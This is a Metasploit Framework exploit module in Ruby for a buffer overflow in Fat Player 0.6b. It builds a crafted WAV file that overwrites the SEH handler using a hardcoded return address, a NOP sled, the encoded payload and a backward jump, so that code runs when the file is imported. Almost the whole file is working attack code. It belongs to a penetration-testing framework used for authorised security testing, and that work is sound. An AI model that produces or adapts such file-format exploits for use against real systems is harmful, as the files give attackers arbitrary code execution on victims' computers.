metasploit-framework/modules/exploits/windows/fileformat/fatplayer_wav.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Fat Player Media Player 0.6b0 Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Fat Player 0.6b. When
				the application is used to import a specially crafted wav file, a buffer overflow occurs
				allowing arbitrary code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'James Fitts', 		# Original Exploit
					'dookie',		# Metasploit Module
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'OSVDB', '57343'],
					[ 'URL', 'https://www.exploit-db.com/exploits/15279/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x0a",
					'StackAdjustment' => -3500
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x0046bee3 } ],	# p/p/r in FatPlayer.exe
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 18 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
			], self.class)

	end

	def exploit

		sploit = rand_text_alpha_upper(100)
		sploit << make_nops(100)
		sploit << payload.encoded
		sploit << rand_text_alpha_upper(3932 - (payload.encoded.length))
		sploit << generate_seh_record(target.ret)
		sploit << "\xe9\x60\xf0\xff\xff"	# Jump back 4000 bytes
			
		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(sploit)
		
	end

end